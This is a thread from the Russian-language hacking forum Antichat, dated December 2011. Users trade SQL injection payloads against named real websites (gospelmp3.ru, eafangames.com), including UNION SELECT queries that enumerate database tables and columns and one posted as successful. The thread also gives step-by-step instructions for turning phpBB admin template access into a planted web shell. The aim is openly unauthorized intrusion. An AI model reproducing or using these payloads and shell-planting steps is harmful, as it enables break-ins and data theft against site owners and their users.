ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
09.12.2011, 15:39
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
Провел на форуме:
415091
Репутация:
5
|
|
Сообщение от Gorev
Gorev said:
SomeCustomInjectedHeader
переведи и подумай...
Шелл получится залить ?
|
|
|
09.12.2011, 15:56
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.gospelmp3.ru/artists/?id=-39%27+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13+from+information_schema.columns+where+table_name=0x7061676573--+[/COLOR][/COLOR]
Почему не выводит колонки?? (вывод дполжен быть в титле) |
|
|
|
09.12.2011, 17:14
|
|
Guest
Сообщений: n/a
Провел на форуме:
29020
Репутация:
55
|
|
Похоже на то что where фильтруется, можешь попорбывать крутить так:
Код:
Code:
http://www.gospelmp3.ru/news/?id=-115+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,table_name,column_name%29,9,10,11,12,13,14,15+from+information_schema.columns+limit+1,1--&n_action=read
перебирая лимит пока не найдешь то что нужно, руками конечно муторно но думаю накидать скриптик который сдампит структуру не проблема. |
|
|
|
09.12.2011, 20:38
|
|
Guest
Сообщений: n/a
Провел на форуме:
74477
Репутация:
21
|
|
есть досьуп к админке на движке phpbb, могу править шаблоны, как залить туда шелл?? какой код вставить?
|
|
|
|
09.12.2011, 20:43
|
|
Новичок
Регистрация: 31.07.2009
Сообщений: 1
Провел на форуме:
4819
Репутация:
0
|
|
Откройте Администраторский раздел => Общие => Безопасность
Разрешите php в шаблонах и сохраните настройки
Откройте Администраторский раздел => Стили => Шаблоны
Напортив активного шаблона нажмите "Изменить"
Выберите файл шаблона, в который хотите вставить php, например "overall_footer.html"
В нужное место вставьте
|
|
|
|
09.12.2011, 20:58
|
|
Guest
Сообщений: n/a
Провел на форуме:
74477
Репутация:
21
|
|
как то криво все встает, и допустим я закачаю шелл потом на форум и гдде он будет лежать?
|
|
|
|
10.12.2011, 00:02
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от DyukiN
DyukiN said:
как то криво все встает, и допустим я закачаю шелл потом на форум и гдде он будет лежать?
правь шаблон фака..на форуме он будет forum.com/faq.php
|
|
|
|
10.12.2011, 03:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
124363
Репутация:
11
|
|
Код:
Code:
http://eafangames.com/live_score_tennis.php/flash_games_online.php
?channel=76'%00 order by 1--
в чём проблемма не могу понять!подскажите! |
|
|
|
10.12.2011, 10:06
|
|
Guest
Сообщений: n/a
Провел на форуме:
74477
Репутация:
21
|
|
Сообщение от Gorev
Gorev said:
правь шаблон фака..на форуме он будет forum.com/faq.php
Я правил его, тоже ничего не получается(( дайте пжл мне пшп код в пм)
|
|
|
|
10.12.2011, 16:18
|
|
Guest
Сообщений: n/a
Провел на форуме:
29020
Репутация:
55
|
|
Сообщение от Faaax
Faaax said:
Код:
Code:
http://eafangames.com/live_score_tennis.php/flash_games_online.php
?channel=76'%00 order by 1--
в чём проблемма не могу понять!подскажите!
Код:
Code:
http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76'%29+union+select+@@version--%201#inscore_ifheight_xdc_500
Done!
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
